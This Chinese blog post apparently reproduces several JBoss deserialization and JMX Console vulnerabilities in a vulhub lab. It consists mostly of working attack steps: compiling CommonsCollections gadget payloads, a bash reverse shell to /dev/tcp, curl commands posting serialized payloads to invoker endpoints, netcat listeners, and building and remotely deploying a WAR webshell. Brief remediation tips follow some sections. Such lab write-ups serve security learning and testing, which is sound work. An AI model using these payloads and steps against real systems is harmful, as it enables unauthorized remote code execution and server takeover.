欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

jboss常见漏洞复现

程序员文章站 2022-05-15 11:23:33
...

JBoss 5.x/6.x 反序列化漏洞( CVE-2017-12149 )

验证: 访问/invoker/readonly,如果返回 500 ,说明页面存在,此页面存在反序列化漏洞。
jboss常见漏洞复现

利用工具:JavaDeserH2HC
步骤:
1.先编译

# 我们选择一个 Gadget : ReverseShellCommonsCollectionsHashMap ,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

2.设置反弹的IP和端口:

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.105:8888 # ip 是 nc 所在的 ip 
# 这样就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser中,用curl命令发送到Jboss服务地址

3.本机进行监听

nv -lvvp 8888

4.再打开另一个控制台,运行如下curl命令

curl http://192.168.0.100:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

5.成功反弹shell

JBoss JMXInvokerServlet 反序列化漏洞

验证: 访问 /invoker/JMXInvokerServlet,返回如下,说明接口开放,此接口存在反序列化漏洞。
jboss常见漏洞复现

这里直接利用 CVE-2017-12149 生成的 ser ,发送到 /invoker/JMXInvokerServlet接口中。

也可以直接利用工具检测:工具下载地址

# 运行工具即可
java -jar DeserializeExploit.jar

JBoss EJBInvokerServlet 反序列化漏洞

验证: 访问 /invoker/EJBInvokerServlet 返回如下,说明接口开放,此接口存在反序列化漏洞。
jboss常见漏洞复现

这里直接利用 CVE-2017-12149 生成的 ser ,发送到 /invoker/EJBInvokerServlet 接口中

修复建议

  1. 不需要ttp-invoker.sar组件的用户可直接删除此组件
  2. 或添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制:<url-pattern>/*</url-pattern>

JBoss <=4.x JBossMQ JMS 反序列化漏洞( CVE-2017-7504 )

利用工具:JavaDeserH2HC
步骤:
1.先编译

# 选择ExampleCommonsCollections1WithHashMap,编译并生成序列化数据
javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap.java   #编译 

2.设置反弹的IP和端口:

java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1WithHashMap "bash -i >& /dev/tcp/192.168.0.105/1234 0>&1"       #ser全称serialize,序列化恶意数据至文件。

3.本机进行监听

nv -lvvp 1234

4.再打开另一个控制台,运行如下curl命令

#该ser文件作为请求数据主体发送如下数据包
curl http://192.168.0.100:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1WithHashMap.ser  # --data-binary 意为以二进制的方式post数据

5.成功反弹shell

JMX Console 未授权访问

漏洞描述

未授权访问管理控制台,通过该漏洞,可以后台管理服务,可以通过脚本命令执行系统命令,如反弹shell,wget写webshell文件。

环境搭建

使用vulhub

cd vulhub/jboss/CVE-2017-7504/
docker-compose up -d

# 浏览器访问
复现

1.未授权访问测试(无无需认证进入入控制⻚页面面)

http://192.168.0.100:8080/
# 进入控制页 JMX Console
http://192.168.0.100:8080/jmx-console/ 

jboss常见漏洞复现

2.点击jboss.deployment进入应用部署页面
jboss常见漏洞复现

3.使用apache搭建远程木马服务器(这里在kali上搭建)

# war马的制作方式:https://www.peekeyes.com/2020/01/13/%E5%88%B6%E4%BD%9Cwar%E6%9C%A8%E9%A9%AC%E5%B9%B6%E4%B8%94%E6%8B%BF%E4%B8%8Bwebshell/
jar cvf shell.war shell.jsp

4.通过addurl参数进行木马的远程部署

地址写远程服务器war马的地址

jboss常见漏洞复现

成功部署
jboss常见漏洞复现

5.连接木马

http://192.168.0.100:8080/shell/shell.jsp

jboss常见漏洞复现

防护
  • 对jmx控制页面访问添加访问验证。
  • 进行JMX Console 安全配置。